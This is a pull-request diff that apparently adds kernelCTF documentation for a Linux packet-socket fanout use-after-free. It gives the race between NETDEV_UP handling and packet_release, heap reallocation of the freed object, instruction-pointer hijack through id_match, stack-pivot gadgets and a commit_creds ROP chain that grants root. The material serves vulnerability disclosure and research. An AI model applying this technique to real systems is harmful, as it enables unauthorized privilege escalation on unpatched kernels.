Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
159 changes: 159 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-31504_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
## Setup

To trigger the vulnerability we need to create a packet socket and call setsockopt() with the PACKET_FANOUT argument to initialize the fanout group. We also have to set the state of the lo interface to be "down", so that we can later bring it up during the race.

Also, to increase our chances of success, we add many multicast addresses using the PACKET_ADD_MEMBERSHIP socket option.

During our race window packet_flush_mclist() frees all of these addresses:
```
static void packet_flush_mclist(struct sock *sk)
{
struct packet_sock *po = pkt_sk(sk);
struct packet_mclist *ml;

if (!po->mclist)
return;

rtnl_lock();
while ((ml = po->mclist) != NULL) {
struct net_device *dev;

po->mclist = ml->next;
dev = __dev_get_by_index(sock_net(sk), ml->ifindex);
if (dev != NULL)
packet_dev_mc(dev, ml, -1);
kfree(ml);
}
rtnl_unlock();
}
```

which takes some time and helps us to hit the window.

## Triggering the use-after-free

To send a NETDEV_UP event during packet_release() we need to use two threads. Thread 1 closes the socket and Thread 2 sends a RTM_NEWLINK message that changes the link state to be "up".

Then we use simple_xattr allocation privilege to reallocate packet_fanout object freed in packet_release().
packet_fanout has variable size depending on max_num_members.
By default max_num_members = 256, which places packet_fanout in the kmalloc-4k cache. This suits us fine, as this cache has low noise.


## Getting RIP control

packet_fanout contains a packet_type structure at offset 0x40 of our controlled object:

```
struct packet_fanout {
possible_net_t net; /* 0 0x8 */
unsigned int num_members; /* 0x8 0x4 */
u32 max_num_members; /* 0xc 0x4 */
u16 id; /* 0x10 0x2 */
u8 type; /* 0x12 0x1 */
u8 flags; /* 0x13 0x1 */

union {
atomic_t rr_cur; /* 0x18 0x4 */
struct bpf_prog * bpf_prog; /* 0x18 0x8 */
}; /* 0x18 0x8 */
struct list_head list; /* 0x20 0x10 */
spinlock_t lock; /* 0x30 0x4 */
refcount_t sk_ref; /* 0x34 0x4 */


struct packet_type prot_hook __attribute__((__aligned__(64))); /* 0x40 0x48 */
struct sock * arr[]; /* 0x88 0 */
};

struct packet_type {
__be16 type; /* 0 0x2 */
bool ignore_outgoing; /* 0x2 0x1 */

/* XXX 5 bytes hole, try to pack */

struct net_device * dev; /* 0x8 0x8 */
netdevice_tracker dev_tracker; /* 0x10 0 */
int (*func)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); /* 0x10 0x8 */
void (*list_func)(struct list_head *, struct packet_type *, struct net_device *); /* 0x18 0x8 */
bool (*id_match)(struct packet_type *, struct sock *); /* 0x20 0x8 */
struct net * af_packet_net; /* 0x28 0x8 */
void * af_packet_priv; /* 0x30 0x8 */
struct list_head list; /* 0x38 0x10 */

/* size: 72, cachelines: 2, members: 10 */
/* sum members: 67, holes: 1, sum holes: 5 */
/* last cacheline: 8 bytes */
};

```

During packet handling .id_match() function is called with a pointer to the struct packet_type as a first argument:

```
static inline bool skb_loop_sk(struct packet_type *ptype, struct sk_buff *skb)
{
if (!ptype->af_packet_priv || !skb->sk)
return false;

if (ptype->id_match)
return ptype->id_match(ptype, skb->sk);
else if ((struct sock *)ptype->af_packet_priv == skb->sk)
return true;

return false;
}
```

This gives us RIP control and controlled data pointed to by the RDI register.

## Pivot to ROP

Three gadgets are used to pivot the stack:

```
mov rax, qword ptr [rdi + 0xc8]
mov r14d, 1
test rax, rax
je 0xffffffff8206a2f8
mov rsi, rdi
mov rcx, rbp
mov rdi, rbx
mov rdx, r13
call __x86_indirect_thunk_rax
```

This copies RDI to RSI.

```
push rsi
jmp qword [rsi+0x39]
```

This pushes pointer to the struct packet_type to the stack.


```
pop rsp;
pop rbx;
ret;
```

This moves the pointer to RSP.

```
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rdx
pop rcx
ret
```

The last gadget is used to jump over the unusable part of the packet_type that contains the previously used pointers.

## Privilege escalation

ROP does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace.
Before that, rcu lock is released in the task_struct of the current process.
165 changes: 165 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-31504_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
## Requirements to trigger the vulnerability

- CAP_NET_ADMIN and CAP_NET_RAW in a namespace is required
- Kernel configuration: CONFIG_PACKET
- User namespaces required: yes

## Commit which introduced the vulnerability

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ce06b03e60fc19c680d1bf873e779bf11c2fc518

## Commit which fixed the vulnerability

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=42156f93d123436f2a27c468f18c966b7e5db796

## Affected kernel versions

Introduced in 3.1. Fixed in 6.1.168 and other stable trees.

## Affected component, subsystem

net/packet

## Description

Packet sockets can form a fanout group to scale processing across threads. In this mode, each matching packet is enqueued onto only one socket in the group.

To accomplish that, packet module registers a packet handler using dev_add_pack() in __fanout_link():
```
static void __fanout_link(struct sock *sk, struct packet_sock *po)
{
struct packet_fanout *f = po->fanout;

spin_lock(&f->lock);
rcu_assign_pointer(f->arr[f->num_members], sk);
smp_wmb();
f->num_members++;
if (f->num_members == 1)
dev_add_pack(&f->prot_hook);
spin_unlock(&f->lock);
}
```

This causes prot_hook field of struct packet_fanout to be linked into a list that is evaluated every time a new packet is handled by the network stack.

This hook is unregistered when socket is closed in packet_release():
```
static int packet_release(struct socket *sock)
{
struct sock *sk = sock->sk;
struct packet_sock *po;
struct packet_fanout *f;
struct net *net;
union tpacket_req_u req_u;

if (!sk)
return 0;

net = sock_net(sk);
po = pkt_sk(sk);

mutex_lock(&net->packet.sklist_lock);
sk_del_node_init_rcu(sk);
mutex_unlock(&net->packet.sklist_lock);


sock_prot_inuse_add(net, sk->sk_prot, -1);

spin_lock(&po->bind_lock);
[1] unregister_prot_hook(sk, false);
packet_cached_dev_reset(po);

if (po->prot_hook.dev) {
netdev_put(po->prot_hook.dev, &po->prot_hook.dev_tracker);
po->prot_hook.dev = NULL;
}
spin_unlock(&po->bind_lock);

[2] packet_flush_mclist(sk);

lock_sock(sk);
if (po->rx_ring.pg_vec) {
memset(&req_u, 0, sizeof(req_u));
packet_set_ring(sk, &req_u, 1, 0);
}

if (po->tx_ring.pg_vec) {
memset(&req_u, 0, sizeof(req_u));
packet_set_ring(sk, &req_u, 1, 1);
}
release_sock(sk);

f = fanout_release(sk);

synchronize_net();

kfree(po->rollover);
if (f) {
fanout_release_data(f);
[3] kvfree(f);
}

...
```

Packet code also handles network device state changes in packet_notifier():
```
static int packet_notifier(struct notifier_block *this,
unsigned long msg, void *ptr)
{
struct sock *sk;
struct net_device *dev = netdev_notifier_info_to_dev(ptr);
struct net *net = dev_net(dev);

rcu_read_lock();
sk_for_each_rcu(sk, &net->packet.sklist) {
struct packet_sock *po = pkt_sk(sk);

switch (msg) {
case NETDEV_UNREGISTER:
if (po->mclist)
packet_dev_mclist_delete(dev, &po->mclist);
fallthrough;

case NETDEV_DOWN:
if (dev->ifindex == po->ifindex) {
spin_lock(&po->bind_lock);
if (po->running) {
__unregister_prot_hook(sk, false);
sk->sk_err = ENETDOWN;
if (!sock_flag(sk, SOCK_DEAD))
sk_error_report(sk);
}
if (msg == NETDEV_UNREGISTER) {
packet_cached_dev_reset(po);
WRITE_ONCE(po->ifindex, -1);
netdev_put(po->prot_hook.dev,
&po->prot_hook.dev_tracker);
po->prot_hook.dev = NULL;
}
spin_unlock(&po->bind_lock);
}
break;
case NETDEV_UP:
if (dev->ifindex == po->ifindex) {
spin_lock(&po->bind_lock);
if (po->num) {
[4] register_prot_hook(sk);
}
spin_unlock(&po->bind_lock);
}
break;
}


```

In case of the NETDEV_UP event, if a socket has an existing fanout setup, packet handler is registered using register_prot_hook()/__fanout_link().

A use-after-free can be triggered by racing packet_notifier() against packet_release():

If NETDEV_UP handling ([4]) runs after unregister_prot_hook() in packet_release() ([1]), packet handling hook of the packet_fanout of the socket to be released will be re-registered.
Later in packet_release() packet_fanout object will be freed ([3]) leading to a use-after-free when the next packet is sent.



Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
INCLUDES =
LIBS = -pthread -lkernelXDK
CFLAGS = -fomit-frame-pointer -static -fcf-protection=none -Wno-write-strings

exploit: exploit.cpp kernelver_18244.582.55.h target.kxdb kaslr.c
g++ -o $@ exploit.cpp kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS)

prerequisites:
sudo apt-get install libkeyutils-dev
Binary file not shown.
Loading
Loading